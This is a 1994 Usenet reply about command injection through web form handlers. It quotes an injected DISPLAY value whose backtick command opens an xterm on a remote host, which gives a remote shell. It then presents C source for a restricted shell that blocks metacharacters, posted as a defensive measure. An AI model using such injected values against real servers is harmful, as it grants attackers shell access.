From comp.security.unix Tue Mar  8 18:15:44 1994
Path: wzv.win.tue.nl!wzv.win.tue.nl!not-for-mail
From: wietse@wzv.win.tue.nl (Wietse Venema)
Newsgroups: nasa.infosystems.www,comp.infosystems.www,larc.users.mosaic,comp.security.unix
Subject: Re: Be Careful!! Common security vulnerability w/Fill out forms...
Date: 21 Feb 1994 19:30:12 +0100
Organization: Eindhoven University of Technology, The Netherlands
Lines: 174
Message-ID: <2kaujk$7df@wzv.win.tue.nl>
References: <BIANCO.94Feb21084657@MiSTy.larc.nasa.gov>
NNTP-Posting-Host: wzv.win.tue.nl
Xref: wzv.win.tue.nl comp.infosystems.www:307 comp.security.unix:3114

bianco@MiSTy.larc.nasa.gov (David Bianco) writes:

>What if you set the DISPLAY to:
>
>	dew.cs.odu.edu:0.0 `xterm -display dew.cs.odu.edu:0.0`

That's why we run gopher, www etc. inside a jail (a restricted file
system subtree and "nobody" privilege), with only a minimal shell.

	Wietse

 /*
  * sh.c - Minimal shell, for use with popen(3) or system(3) only. Recognizes
  * I/O redirection, but rejects commands with any other shell metacharacters.
  * 
  * Wietse Venema (wswietse@win.tue.nl) 921013: initial version without any
  * shell metacharacter support.
  * 
  * Wietse Venema (wswietse@win.tue.nl) 921014: added <, > and >> because
  * gopherd needs redirection.
  */

/* Library stuff */

#include <stdio.h>
#include <string.h>

extern char *malloc();

/* Local stuff */

static int parse();
static char *strndup();
static char *special();
static char *redirect();

/* Character classification stuff. */

static char metach[] = "$[]<>*?&^|`;{}()'\"\\";
static char blnks[] = " \t\r\n";
static char meta_or_blnks[] = " \t\r\n$[]<>*?&^|`;{}()'\"\\";

static char *myname;			/* for diagnostics */

main(argc, argv)
int     argc;
char  **argv;
{
    char   *args[BUFSIZ];		/* generated command-line vector */

    /* Allow the form "sh -c command" only. */

    myname = argv[0];
    if (argc != 3 || strcmp(argv[1], "-c") != 0) {
	fprintf(stderr, "usage: %s -c 'command'\n", myname);
	exit(1);
    }
    /* Convert argv[2] to command-line vector. */

    if (parse(argv[2], args, BUFSIZ) == 0) {
	fprintf(stderr, "%s: empty command\n", myname);
	exit(1);
    }
    /* Run the command or give up. */

    execvp(args[0], args);
    perror(args[0]);
    exit(1);
}

/* parse - build argument vector */

static int parse(src, args, maxarg)
char   *src;
char  **args;
int     maxarg;
{
    int     argno = 0;
    int     len;

    while (*src) {

	/* Sanity check. */

	if (argno >= maxarg - 1) {
	    fprintf(stderr, "%s: too many arguments\n", myname);
	    exit(1);
	}
	/* Skip leading whitespace. */

	src += strspn(src, blnks);

	/* Process next token. */

	if (strchr(metach, *src)) {		/* special */
	    src = special(src);
	} else {				/* regular word */
	    len = strcspn(src, meta_or_blnks);
	    args[argno++] = strndup(src, len);
	    src += len;
	}
    }
    args[argno] = 0;
    return (argno);
}

/* special - handle operators etc. */

static char *special(src)
char   *src;
{
    switch (*src) {
    case '>':
	if (src[1] == '>') {
	    return (redirect(src + 2, stdout, "a"));
	} else {
	    return (redirect(src + 1, stdout, "w"));
	}
	/* NOTREACHED */
    case '<':
	return (redirect(src + 1, stdin, "r"));
    default:
	fprintf(stderr, "%s: unsupported operator: ``%c''\n", myname, *src);
	exit(1);
	/* NOTREACHED */
    }
}

/* redirect - redirect input/output from/to file */

static char *redirect(src, strm, mode)
char   *src;
FILE   *strm;
char   *mode;
{
    char   *path;
    int     len;

    /* Skip whitespace. */

    src += strspn(src, blnks);

    /* Next token should be regular word. */

    if ((len = strcspn(src, meta_or_blnks)) == 0) {
	fprintf(stderr, "%s: filename expected, got: %s\n", myname, src);
	exit(1);
    }
    path = strndup(src, len);
    src += len;

    /* Redirect or bust. */

    if (freopen(path, mode, strm) == 0) {
	perror(path);
	exit(1);
    }
    return (src);
}

/* strndup - make copy of string */

static char *strndup(str, len)
char   *str;
int     len;
{
    char   *dst;

    if ((dst = malloc(len + 1)) == 0)
	fprintf(stderr, "%s: out of memory\n", myname);
    dst[len] = 0;
    return (strncpy(dst, str, len));
}


